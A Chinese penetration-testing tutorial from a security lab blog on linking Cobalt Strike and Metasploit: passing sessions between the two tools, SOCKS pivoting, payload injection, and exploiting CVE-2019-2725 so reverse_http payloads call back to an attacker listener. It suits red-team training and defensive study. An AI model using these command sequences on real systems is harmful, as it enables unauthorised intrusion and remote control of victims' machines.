出品|MS08067实验室(www.ms08067.com)

本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员)

个人觉得CobaltStrike图形化的界面和丰富的功能,是一个超强的后渗透框架,尤其是方便管理横向移动过程中搜集到的各种数据和shell,但是对于漏洞利用、初始突破就显得十分乏力;另一边Metasploit作为漏洞利用框架,EXP及其顺滑,各种各样的模块,包含扫描、突破、拓展一条龙服务,但是对于多个shell的管理就显得有些乏力了(毕竟没有图形化界面,命令太多记不住)。于是,如何将两个框架有效的联动起来,就成为了今天想要学习的知识。

一.利用CS为MSF服务

利用CS的Beacon给MSF派生一个shell,执行后续的渗透任务:

在MSF中配置监听

# 配置监听器
msf> use exploit/multi/handler
# 选择payload
msf> windows/meterpreter/reverse_http
msf> set lhost IP
msf> set lport port
# 启动监听器
msf> set ExitOnSession False
msf> run -jz

在CS中建立一个外部监听器 Foreign HTTP (或 Foreign HTTPS )

选择想要派生的目标,右键选择 spawn 功能,选择刚刚建立的监听器,即可在MSF中接收到回连。

利用CS为MSF提供转发或代理功能,进行后续的探测和漏洞利用:

利用Beacon建立 socks 代理:

在Beacon中输入 socks 监听端口,或者右键想要作为转发的目标,在pivoting中选择 SOCKS Server ,配置监听端口后点击 launch 激活。

在view -> Proxy Pivots 中可以看到建立的转发器,点击Tunnel即可获得MSF的转发命令

复制到MSF中,设置代理和载荷类型

以CVE-2019-2725为测试靶机

#设置代理 msf> setg Proxies socks4:127.0.0.1:36725
#配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
msf> set payload windows/meterpreter/bind_tcp
msf> run

二.MSF为CS服务

主要就是使用MSF框架的EXP获取CS的Beacon

获取了一个命令执行Shell:

这是最简单的情况,也是最常见的情况,并不是所有的EXP都能反弹一个Meterpreter会话回来。

在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点:

配置监听器和URL路径,启动后会弹出相应的命令提示

复制命令后,直接在MSF 的shell中执行即可

命令执行后MSF的会话会卡住,可以直接kill掉,不影响CS会话

获取了一个Meterpreter会话:

获得meterpreter会话后,利用MSF注入功能,加载Cs的payload

# 将meterpreter会话挂起
meterpreter> background
# 进入payload_inject模块
msf> use exploit/windows/local/payload_inject
# 根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf> set LHOST CS_IP
msf> set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf> set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf> set disablepayloadhandler true
msf> run

在过程中发现,这种方法只能向注入32位的payload,如果注入64位payload会导致目标进程崩溃,无法向64位程序中注入32位payload。崩溃原因是:APPCRASH(故障模块StackHash_af76),即使取得system权限、关闭UAC也还是不行。如果不设置pid,则会创建一个32位的notepad.exe进程,成功连接后记得及时迁移CS的会话进程。

直接反弹回CS:

在MSF漏洞利用时直接请求并加载CS的载荷,和第二种方法基本一致(测试漏洞为 CVE-2019-2725)

# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true

其实和第二种操作是一样,都是调用MSF的模块,配置payload的参数而已。漏洞利用成功后直接通过无窗口 powershell 返回CS会话,目标主机没有窗口弹出。测试的时候无法加载64位payload,可能是这个漏洞利用后会启动一个32位的cmd.exe来执行后续命令的原因。

三.写在后面

  一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止 http和https ,还有

dns smb tcp

MSF中也有诸如

windows/meterpreter/reverse_tcp_dns
windows/meterpreter/bind_named_pipe
windows/meterpreter/reverse_tcp

这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。





转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

CobaltStrike 和 Metasploit 联动的更多相关文章

  1. CobaltStrike与Metasploit联动配合

    利用CobaltStrike内置Socks功能 通过Beacon内置的Socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透. 首先,到已 ...

  2. CobaltStrike与Metasploit实战联动

    前言 CobalStrike 与 Metasploit 均是渗透利器,各有所长.前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用.两者更需要灵活的联动,各自相互依托,从而提升渗透的效率. ...

  3. Cobaltstrike、armitage联动

    i 春秋作家:fengzi 原文来自:Cobaltstrike.armitage联动 在使用Cobaltstrike的时候发现他在大型或者比较复杂的内网环境中,作为内网拓展以及红队工具使用时拓展能力有 ...

  4. CobaltStrike + Metasploit 联动使用

    本节的知识摘要: 通过 beacon内置的 socks功能将本地 Msf直接代入目标内网 借助 CobaltStrike的外部 tcp监听器通过 ssh隧道直接派生一个 meterpreter到本地 ...

  5. Cobaltstrike与Metasploit会话转换

    这里只做记录,不做详解 0x00 实验环境 被控制机:192.168.126.129 Metasploit:192.168.126.128 Cobaltstrike:182...* 0x01 CS会话 ...

  6. metasploit联动beef启动

    (温馨提示:请按照步骤来,否则beef到后面会启动不了) 我们首先进入vim /usr/share/beef-xss/config.yaml 找到metasploit把它改为启动 把false改为tr ...

  7. Cobaltstrike系列教程(二)-Listner与Payload生成 heatlevel

    0x000-前文 Cobaltstrike系列教程(一)简介与安装 0x001-Listner(监听器)介绍 ①Cobaltstrike listner简介 可能有一些小白并不理解什么叫做listne ...

  8. [原创]CobaltStrike & Metasploit Shellcode一键免杀工具

    CobaltStrike & Metasploit  Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...

  9. msf+cobaltstrike联动(一):把msf的session发给cobaltstrike

    前提:MFS已经获取到session,可以进入metepreter,现在需要使用cobaltstrike进行图形化管理或团队协作. cobaltstrike起一个beacon监听,如使用:window ...

随机推荐

  1. 云原生系列3 pod核心字段

    pod是容器化的基础,好比大楼的地基. Pod跟容器的关系 类比一下: POD: 物理机容器: 物理机上的一个进程: 容器只是Pod的一个普通字段. Pod的作用范围 跟容器的linux namesp ...

  2. Gif2mp4 by Python

    参考链接 目的: $ .gif \rightarrow .mp4 $ 解决: pip install MoviePy import moviepy.editor as mp clip = mp.Vid ...

  3. HLOD System

    1.1 HLOD System简介 首先,HLOD System主要的目标是为了减少Draw Call.然后,进行更多的Batch批处理,从而大大提高渲染性能,减少面数和纹理,这样我们相应地节省了内存 ...

  4. 通过改写 原始对象的paint 方法,来设置对象的border颜色

    解决方案: //通过改写 原始对象的paint 方法,来设置对象的border颜色 1. package test1;import java.awt.Color;import java.awt.Gra ...

  5. flutter package & pub publish

    flutter package & pub publish dart-library-package https://pub.dev/packages/dart_library_package ...

  6. code to markdown auto converter

    code to markdown auto converter code => markdown how to import a js file to a markdown file? // a ...

  7. 2020 新型肺炎病毒疫情 & 远程办公

    2020 新型肺炎病毒疫情 & 远程办公 2020 新型肺炎病毒疫情 https://zhuanlan.zhihu.com/p/104406687 钉钉 微信 code gitlab PRD ...

  8. vue动态添加当前事件下的class

    html部分<div class="star"> <span v-for="(item,index) in 5" @click="c ...

  9. JUnit5学习之七:参数化测试(Parameterized Tests)进阶

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  10. 实现 Abp Vnext Pro

    Abp Vnext Pro 的 Vue 实现版本 开箱即用的中后台前端/设计解决方案 知识点 .Net Core5.0 Abp Vnext 4.x , Ant Design, Vue2.x Mysql ...